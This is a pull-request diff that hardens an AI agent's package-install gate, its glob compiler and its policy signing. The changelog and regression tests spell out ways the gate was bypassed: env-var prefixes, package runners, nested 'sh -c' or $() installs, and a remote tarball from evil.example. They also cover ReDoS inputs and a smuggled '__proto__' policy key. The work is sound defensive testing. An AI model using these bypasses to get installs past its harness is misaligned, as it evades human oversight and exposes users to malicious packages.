Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,42 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/).

## [Unreleased]

### Security

- **Install-gate: closed four bypasses that let an untriaged install through.** A
deep adversarial pass found the `PreToolUse` install-gate's command parser could
be defeated by (1) a leading env-var assignment — `A=1 npm i evil` tokenized so
no matcher fired; (2) package runners it didn't know — `npm exec` / `pnpm dlx` /
`yarn dlx` / `bun x`; (3) a remote tarball URL — `npm install https://…/x.tgz`
was dropped as a "local" target on its extension alone; and (4) an install hidden
in a subshell or `-c` arg — `sh -c '…'`, `$(…)`, backticks. The parser now strips
leading wrapper bins + `VAR=value` assignments, matches the runners, treats any
`scheme://` target as remote (→ fail-closed `unverifiable`), and recursively scans
nested commands. A regression test pins each bypass.
- **ReDoS: the GCP private-key redaction pattern no longer hangs on a small hostile
input.** `"private_key"` was matched with two unbounded runs around a literal, so
a blob of near-miss `-----END ` tokens backtracked catastrophically (~18 KB hung
~17 s) — a CPU DoS of the gate reachable via `scan-staged`, `kit memory scan`, and
status redaction. The body is now a single bounded `[^"]{1,8000}` run ending at the
close quote (linear; still matches real keys).
- **ReDoS: `globToRegExp` (memory clusters) collapses stacked wildcards.** A
malicious committed `.kit/shared/clusters.json` glob of many `**`/`**/` compiled to
adjacent `.*`/`(?:.*/)?` groups that backtracked catastrophically — and the cluster
map is matched on every `UserPromptSubmit`, so a pulled branch could hang the agent
on each prompt. Consecutive wildcard runs now coalesce to a single non-stacking
group and an over-long glob is refused (matches nothing).
- **Policy trust anchor: canonical signing bytes now cover every key faithfully.**
`sortDeep` rebuilt objects with `out[k] = …`, so a `__proto__` key was a prototype
write that silently dropped the key+subtree — letting a `[__proto__]` table be
appended to a SIGNED `.kit-policy.toml` without changing its signature/fingerprint
("signed bytes ≠ document"). It now assigns via `defineProperty` (the key is a real
own property in the bytes), refuses a TOML **date** value (no faithful canonical
form → a Date≡string collision), `validatePolicy` rejects `__proto__`/`constructor`/
`prototype` keys, `verifyPolicy` treats an uncanonicalizable doc as `invalid` instead
of crashing, and `versionGte` is guarded against a non-string. No global prototype
pollution existed (Node `JSON.parse`/`smol-toml` create an own property); this hardens
canonicalization soundness.

### Fixed

- **Air-gap completeness: the update check no longer egresses by default under
Expand Down
42 changes: 42 additions & 0 deletions src/install-gate.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -137,6 +137,48 @@ describe("parseInstallCommand — detection", () => {
});
});

// Adversarial bypasses found in the deep security pass — each defeated every
// matcher before the fix and let an untriaged install through. Regression-locked.
describe("parseInstallCommand — bypass resistance (security)", () => {
it("CRIT-1: a leading env-var assignment does not hide the install", () => {
// `A=1 npm i evil` tokenized to t[0]="A=1" → no matcher fired → ALLOWED.
assert.deepEqual(parseInstallCommand("A=1 npm i evil").refs, ["npm:evil"]);
assert.deepEqual(parseInstallCommand("FOO=bar BAZ=2 pip install evil").refs, ["pip:evil"]);
assert.deepEqual(parseInstallCommand("env X=1 npm i evil").refs, ["npm:evil"]);
assert.deepEqual(parseInstallCommand("sudo npm i evil").refs, ["npm:evil"]);
});

it("CRIT-2: package runners (npm exec / pnpm dlx / yarn dlx / bun x) are gated", () => {
assert.deepEqual(parseInstallCommand("npm exec evil").refs, ["npm:evil"]);
assert.deepEqual(parseInstallCommand("pnpm dlx evil").refs, ["npm:evil"]);
assert.deepEqual(parseInstallCommand("yarn dlx evil").refs, ["npm:evil"]);
assert.deepEqual(parseInstallCommand("bun x evil").refs, ["npm:evil"]);
assert.deepEqual(parseInstallCommand("pnpm exec evil").refs, ["npm:evil"]);
});

it("CRIT-3: a remote tarball URL is unverifiable (fail-closed), not 'local'", () => {
const p = parseInstallCommand("npm install https://evil.example/pkg.tgz");
assert.equal(p.isInstall, true);
assert.deepEqual(p.refs, []);
assert.equal(p.unverifiable.length, 1, "remote .tgz must NOT be dropped as a local target");
// a genuinely local tarball/wheel path is still ignored
assert.deepEqual(parseInstallCommand("pip install ./dist/foo.whl").refs, []);
assert.deepEqual(parseInstallCommand("npm i ./pkg.tgz").refs, []);
});

it("HIGH-1: an install hidden in a subshell / -c arg is still detected", () => {
assert.deepEqual(parseInstallCommand("sh -c 'npm i evil'").refs, ["npm:evil"]);
assert.deepEqual(parseInstallCommand('bash -c "pip install evil"').refs, ["pip:evil"]);
assert.deepEqual(parseInstallCommand("echo $(npm i evil)").refs, ["npm:evil"]);
assert.deepEqual(parseInstallCommand("x=`pip install evil`").refs, ["pip:evil"]);
});

it("quoted package names are handled (no false-positive block)", () => {
assert.deepEqual(parseInstallCommand("npm i 'express'").refs, ["npm:express"]);
assert.deepEqual(parseInstallCommand('npm i "lodash@4"').refs, ["npm:lodash"]);
});
});

// Fake triage: pass everything except names in `blocklist`.
function fakeDeps(blocklist: string[] = []): GateDeps {
return {
Expand Down
122 changes: 98 additions & 24 deletions src/install-gate.ts
Original file line number Diff line number Diff line change
Expand Up @@ -38,15 +38,67 @@ function isFlag(tok: string): boolean {
return tok.startsWith("-");
}

/** Strip one layer of matching surrounding quotes from a token (`'pkg'` → `pkg`). */
function stripQuotes(tok: string): string {
const m = tok.match(/^(['"])([\s\S]*)\1$/);
return m ? m[2] : tok;
}

/**
* Wrapper binaries that prefix a real command without changing what it is
* (`env FOO=bar npm i x`, `sudo npm i x`). We strip a leading run of these plus
* any `VAR=value` env assignments so the matcher sees the actual package manager.
* A bare `VAR=value npm i evil` would otherwise tokenize to t[0]="VAR=value" and
* defeat every matcher — a full gate bypass.
*/
const PREFIX_BINS = new Set(["env", "sudo", "command", "exec", "nice", "time", "nohup"]);

/** Drop leading wrapper bins + `VAR=value` env assignments, returning the real argv. */
function stripCommandPrefix(tokens: string[]): string[] {
let i = 0;
while (i < tokens.length) {
const t = tokens[i];
if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(t)) {
i++; // VAR=value env assignment
continue;
}
if (PREFIX_BINS.has(t)) {
i++;
while (i < tokens.length && tokens[i].startsWith("-")) i++; // skip the wrapper's own flags
continue;
}
break;
}
return tokens.slice(i);
}

/**
* Commands hidden inside a subshell (`$(…)`, backticks) or a shell `-c` argument
* (`sh -c 'npm i evil'`). The segment splitter doesn't recurse into these, so an
* install smuggled through a wrapper would slip past. We extract the inner command
* text (bounded, to stay linear-time on hostile input) and gate it like a
* top-level one. Fail-closed.
*/
function nestedCommands(command: string): string[] {
const out: string[] = [];
for (const m of command.matchAll(/\$\(([^()]{1,2000})\)/g)) out.push(m[1]);
for (const m of command.matchAll(/`([^`]{1,2000})`/g)) out.push(m[1]);
for (const m of command.matchAll(/-c\s+(['"])([\s\S]{1,2000}?)\1/g)) out.push(m[2]);
return out;
}

/**
* A token is a LOCAL target (the user's own code / a file), not a registry
* package — skip it (there is no reputation to triage). Covers `.`/`..`, relative
* and absolute paths, home-relative, tarballs/wheels.
* and absolute paths, home-relative, tarballs/wheels. A token with a URL scheme
* (`https://…/pkg.tgz`, `git+ssh://…`) is REMOTE, never local — it must NOT be
* dropped here (it can't be triaged → fail-closed `unverifiable`).
*/
function isLocalTarget(tok: string): boolean {
if (tok === "." || tok === "..") return true;
if (/:\/\//.test(tok)) return false; // remote URL — not local, gate it
if (/^[./~]/.test(tok)) return true; // ./x ../x /abs ~/x
if (/\.(tgz|tar\.gz|whl)$/i.test(tok)) return true;
if (/\.(tgz|tar\.gz|whl)$/i.test(tok)) return true; // a local tarball/wheel path
return false;
}

Expand Down Expand Up @@ -88,11 +140,18 @@ const MATCHERS: Matcher[] = [
return -1;
},
},
// npx <pkg> — executes a package immediately (high risk)
// package runners that fetch + execute immediately (high risk): npx/bunx <pkg>,
// npm exec <pkg>, pnpm dlx|exec <pkg>, yarn dlx|exec <pkg>, bun x <pkg>.
{
scheme: "npm",
toName: npmName,
argStart: (t) => (t[0] === "npx" || t[0] === "bunx" ? 1 : -1),
argStart: (t) => {
if (t[0] === "npx" || t[0] === "bunx") return 1;
if (t[0] === "npm" && t[1] === "exec") return 2;
if ((t[0] === "pnpm" || t[0] === "yarn") && (t[1] === "dlx" || t[1] === "exec")) return 2;
if (t[0] === "bun" && t[1] === "x") return 2;
return -1;
},
},
// pip/pip3 install, pipx install, uv pip install, uv add, python -m pip install
{
Expand Down Expand Up @@ -124,31 +183,46 @@ export function parseInstallCommand(command: string): InstallProbe {
const probe: InstallProbe = { isInstall: false, refs: [], unverifiable: [] };
if (!command || typeof command !== "string") return probe;

for (const segment of command.split(SEGMENT_SPLIT)) {
const tokens = segment.trim().split(/\s+/).filter(Boolean);
if (tokens.length === 0) continue;
for (const m of MATCHERS) {
const start = m.argStart(tokens);
if (start < 0) continue;
const args = tokens.slice(start).filter((t) => !isFlag(t));
// No package args → reinstall of already-declared deps (or a runner with no
// pkg). Not an "add"; don't gate.
if (args.length === 0) break;
probe.isInstall = true;
for (const arg of args) {
if (isLocalTarget(arg)) continue; // user's own code — nothing to triage
const name = m.toName(arg);
if (name) probe.refs.push(`${m.scheme}:${name}`);
else probe.unverifiable.push(arg); // fail-closed: can't reduce to a ref
}
break; // one matcher per segment
}
// Scan the command AND any commands hidden in $(…)/backticks/`-c '…'`, bounded
// so a wrapper (`sh -c '…'`, `$(…)`) can't smuggle an install past the splitter.
const seen = new Set<string>();
const queue: string[] = [command];
while (queue.length > 0 && seen.size < 64) {
const cmd = queue.shift()!;
if (seen.has(cmd)) continue;
seen.add(cmd);
queue.push(...nestedCommands(cmd));
for (const segment of cmd.split(SEGMENT_SPLIT)) scanSegment(segment, probe);
}
// De-dup refs (npm i a a, or a && a)

// De-dup (npm i a a, or a && a).
probe.refs = [...new Set(probe.refs)];
probe.unverifiable = [...new Set(probe.unverifiable)];
return probe;
}

/** Match one shell segment against the package-manager matchers, mutating `probe`. */
function scanSegment(segment: string, probe: InstallProbe): void {
const tokens = stripCommandPrefix(segment.trim().split(/\s+/).filter(Boolean).map(stripQuotes));
if (tokens.length === 0) return;
for (const m of MATCHERS) {
const start = m.argStart(tokens);
if (start < 0) continue;
const args = tokens.slice(start).filter((t) => !isFlag(t));
// No package args → reinstall of already-declared deps (or a runner with no
// pkg). Not an "add"; don't gate.
if (args.length === 0) break;
probe.isInstall = true;
for (const arg of args) {
if (isLocalTarget(arg)) continue; // user's own code — nothing to triage
const name = m.toName(arg);
if (name) probe.refs.push(`${m.scheme}:${name}`);
else probe.unverifiable.push(arg); // fail-closed: can't reduce to a ref
}
break; // one matcher per segment
}
}

export interface BashGateVerdict {
block: boolean;
reason: string;
Expand Down
24 changes: 24 additions & 0 deletions src/memory/clusters.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,30 @@ describe("memory clusters — glob matching (gap #3)", () => {
assert.match("x.ts", globToRegExp("**/x.ts"));
assert.match("a/b/x.ts", globToRegExp("**/x.ts"));
});

// A malicious committed clusters.json (a pulled branch can carry one) of stacked
// wildcards compiled to adjacent `.*`/`(?:.*/)?` groups → catastrophic backtracking
// on every prompt (the map is matched on each UserPromptSubmit). Runs collapse now.
it("does not backtrack catastrophically on stacked wildcards (ReDoS-safe)", () => {
const cases = ["*".repeat(80) + "z", "**/".repeat(50) + "z", "**".repeat(60) + "z"];
for (const g of cases) {
const re = globToRegExp(g);
const t0 = process.hrtime.bigint();
re.test("a".repeat(100)); // a non-matching path → forces the worst case
re.test("a/".repeat(80) + "b");
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
assert.ok(ms < 50, `glob "${g.slice(0, 12)}…" took ${ms.toFixed(1)}ms — should be <50ms`);
}
// collapsing keeps semantics: stacked ** still matches across segments
assert.match("a/b/c/z", globToRegExp("**/**/z"));
assert.match("z", globToRegExp("**/**/z"));
});

it("refuses an over-long glob (matches nothing) rather than compiling it", () => {
const re = globToRegExp("a".repeat(2000));
assert.doesNotMatch("a".repeat(2000), re);
assert.equal(re.source, "(?!)");
});
});

describe("memory clusters — path → area", () => {
Expand Down
48 changes: 35 additions & 13 deletions src/memory/clusters.ts
Original file line number Diff line number Diff line change
Expand Up @@ -43,30 +43,52 @@ export function readClusters(root: string): ClusterMap {

const GLOB_SPECIALS = /[.+^${}()|[\]\\]/g;

/** A regex that never matches anything (for a glob we refuse to compile). */
const NEVER = /(?!)/;

/**
* Compile a glob to an anchored RegExp. `**` spans path segments (incl. `/`),
* `*` matches within one segment, `?` one non-slash char. `**\/` matches zero or
* more leading segments so `**\/x` matches both `x` and `a/b/x`.
*
* ReDoS-safe: a whole run of consecutive `*` collapses to a SINGLE wildcard and
* adjacent cross-segment wildcards are coalesced, so a hostile committed glob
* like `**********…x` (this map is a committed file — a pulled branch can carry a
* malicious one) can never emit stacked cross-segment wildcard groups, which
* backtrack catastrophically. An over-long glob is refused (matches nothing).
*/
export function globToRegExp(glob: string): RegExp {
if (glob.length > 1024) return NEVER; // not a real path pattern — don't compile it
let re = "^";
let i = 0;
// True right after we emit a cross-segment wildcard, so a following `**`/`**/`
// run adds nothing and is coalesced (never stacked → no adjacent `.*`).
let pendingStarStar = false;
while (i < glob.length) {
if (glob.startsWith("**/", i)) {
re += "(?:.*/)?";
i += 3;
} else if (glob.startsWith("**", i)) {
re += ".*";
i += 2;
} else if (glob[i] === "*") {
re += "[^/]*";
i += 1;
} else if (glob[i] === "?") {
const ch = glob[i];
if (ch === "*") {
let stars = 0;
while (glob[i] === "*") {
stars++;
i++;
}
if (stars >= 2) {
const slash = glob[i] === "/";
if (slash) i++;
if (!pendingStarStar) re += slash ? "(?:.*/)?" : ".*";
pendingStarStar = true;
} else {
re += "[^/]*";
pendingStarStar = false;
}
} else if (ch === "?") {
re += "[^/]";
i += 1;
i++;
pendingStarStar = false;
} else {
re += glob[i].replace(GLOB_SPECIALS, "\\$&");
i += 1;
re += ch.replace(GLOB_SPECIALS, "\\$&");
i++;
pendingStarStar = false;
}
}
return new RegExp(re + "$");
Expand Down
3 changes: 3 additions & 0 deletions src/policy-check.ts
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,9 @@ export interface PolicyEvalReport {

/** current ≥ required, comparing dotted numeric segments. Pure. */
export function versionGte(current: string, required: string): boolean {
// Guard against a non-string slipping in (a malformed policy where a TOML date
// reached here) — never throw inside the gate.
if (typeof current !== "string" || typeof required !== "string") return false;
const a = current.split(/[.+-]/).map((n) => parseInt(n, 10) || 0);
const b = required.split(/[.+-]/).map((n) => parseInt(n, 10) || 0);
for (let i = 0; i < Math.max(a.length, b.length); i++) {
Expand Down
33 changes: 33 additions & 0 deletions src/policy-doc.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -69,6 +69,39 @@ describe("policy-doc — canonical bytes (stable signing input)", () => {
policyFingerprint({ version: 1, require_triage: false }),
);
});

// sortDeep used `out[k] = …`, so a `__proto__` key was a prototype write that
// silently dropped the key+subtree — an attacker could append a `[__proto__]`
// table to a SIGNED policy without changing its signing bytes. The canonical
// form must now cover every own key faithfully.
it("does not silently drop a `__proto__` key from the signing bytes", () => {
const benign = { version: 1, require_triage: true };
// JSON.parse yields an OWN enumerable `__proto__` property (like smol-toml does
// for a `[__proto__]` table) — distinct from the `{__proto__: …}` literal.
const smuggled = JSON.parse(
'{"version":1,"require_triage":true,"__proto__":{"require_triage":false}}',
);
assert.notEqual(
canonicalPolicyBytes(benign),
canonicalPolicyBytes(smuggled),
"a smuggled __proto__ table must change the signing bytes",
);
assert.match(canonicalPolicyBytes(smuggled), /__proto__/);
// and no global prototype pollution as a side effect
assert.equal(({} as Record<string, unknown>).require_triage, undefined);
});

it("refuses a date value (no faithful canonical form → Date≡string collision)", () => {
assert.throws(
() => canonicalPolicyBytes({ version: 1, min_kit_version: new Date("2020-01-01") }),
/date/i,
);
});

it("validatePolicy rejects prototype-manipulating keys", () => {
const doc = JSON.parse('{"version":1,"__proto__":{"x":1}}');
assert.match(validatePolicy(doc).errors.join(), /forbidden key/);
});
});

describe("policy-doc — sign/verify roundtrip over canonical bytes", () => {
Expand Down
Loading
Loading